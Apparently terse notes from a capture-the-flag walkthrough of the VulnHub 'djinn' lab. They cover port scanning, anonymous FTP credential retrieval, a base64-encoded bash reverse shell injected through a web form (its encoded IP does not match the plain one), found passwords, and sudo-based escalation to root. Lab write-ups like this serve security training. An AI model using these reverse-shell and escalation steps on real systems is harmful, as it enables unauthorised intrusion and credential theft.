ANON FTP

CONVERT BASE-64 TO GET REVERSE SHELL

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt

| -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt

|_-rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt

| ftp-syst:

| STAT:

| FTP server status:

| Connected to ::ffff:10.10.10.20

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 4

| vsFTPd 3.0.3 - secure, fast, stable

|_End of status

22/tcp filtered ssh

MAC Address: 00:0C:29:76:FC:EC (VMware)

1337/tcp open waste

7331/tcp open swx

root@kali:/home/kali/Desktop/vulnhub/djinn# ftp djinn

Connected to djinn.

220 (vsFTPd 3.0.3)

Name (djinn:kali): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

-rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt

-rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt

-rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt

226 Directory send OK.

ftp> get creds.txt

local: creds.txt remote: creds.txt

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for creds.txt (11 bytes).

226 Transfer complete.

11 bytes received in 0.01 secs (1.9595 kB/s)

ftp> get game.txt

local: game.txt remote: game.txt

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for game.txt (128 bytes).

226 Transfer complete.

128 bytes received in 0.01 secs (19.2042 kB/s)

ftp> get message.txt

local: message.txt remote: message.txt

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for message.txt (113 bytes).

226 Transfer complete.

113 bytes received in 0.04 secs (3.0727 kB/s)

root@kali:/home/kali/Desktop/vulnhub/djinn# cat creds.txt

nitu:81299

root@kali:/home/kali/Desktop/vulnhub/djinn# cat game.txt

oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the

final level and get the prize.

root@kali:/home/kali/Desktop/vulnhub/djinn# cat message.txt

@nitish81299 I am going on holidays for few days, please take care of all the work.

And don't mess up anything.

http://djinn:7331/

root@kali:/home/kali/Desktop/vulnhub/djinn# gobuster dir -u http://djinn:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/wish (Status: 200)

/genie (Status: 200)

http://djinn:7331/wish

bash -i >& /dev/tcp/10.10.10.20/443 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC4yMC80NDMgMD4mMQ==

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC4yMC80NDMgMD4mMQ== | base64 -d | bash

nc –nlvp 443

SHELL GAINED!!!!!

www-data@djinn:/home/nitish$ ls -la

total 32

drwxr-xr-x 5 nitish nitish 4096 Nov 12 2019 .

drwxr-xr-x 4 root root 4096 Nov 14 2019 ..

-rw------- 1 root root 130 Nov 12 2019 .bash_history

-rw-r--r-- 1 nitish nitish 3771 Nov 11 2019 .bashrc

drwx------ 2 nitish nitish 4096 Nov 11 2019 .cache

drwxr-xr-x 2 nitish nitish 4096 Oct 21 2019 .dev

drwx------ 3 nitish nitish 4096 Nov 11 2019 .gnupg

-rw-r----- 1 nitish nitish 33 Nov 12 2019 user.txt

www-data@djinn:/home/nitish$ cd .dev

www-data@djinn:/home/nitish/.dev$ ls -la

total 12

```
drwxr-xr-x 2 nitish nitish 4096 Oct 21  2019 .
drwxr-xr-x 5 nitish nitish 4096 Nov 12  2019 ..
-rw-r--r-- 1 nitish nitish   24 Oct 21  2019 creds.txt
www-data@djinn:/home/nitish/.dev$ cat creds.txt
nitish:p4ssw0rdStr3r0n9
www-data@djinn:/home/nitish/.dev$ su nitish
Password:
nitish@djinn:~/.dev$ sudo -l
Matching Defaults entries for nitish on djinn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nitish may run the following commands on djinn:
    (sam) NOPASSWD: /usr/bin/genie
nitish@djinn:~/.dev$ genie -h
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish

I know you've came to me bearing wishes in mind. So go ahead make your wishes.

positional arguments:
  wish                  Enter your wish

optional arguments:
  -h, --help            show this help message and exit
  -g, --god             pass the wish to god
  -p SHELL, --shell SHELL
                        Gives you shell
  -e EXEC, --exec EXEC  execute command
nitish@djinn:~/.dev$ sudo -u sam genie -cmd new
sam@djinn:~/.dev$ sudo -l
Matching Defaults entries for sam on djinn:
```

```
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago
sam@djinn:~/.dev$ sudo -l
Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago
sam@djinn:~/.dev$ sudo -u root /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:2
Choose a number between 1 to 100:
Enter your number: num
# whoami
root
```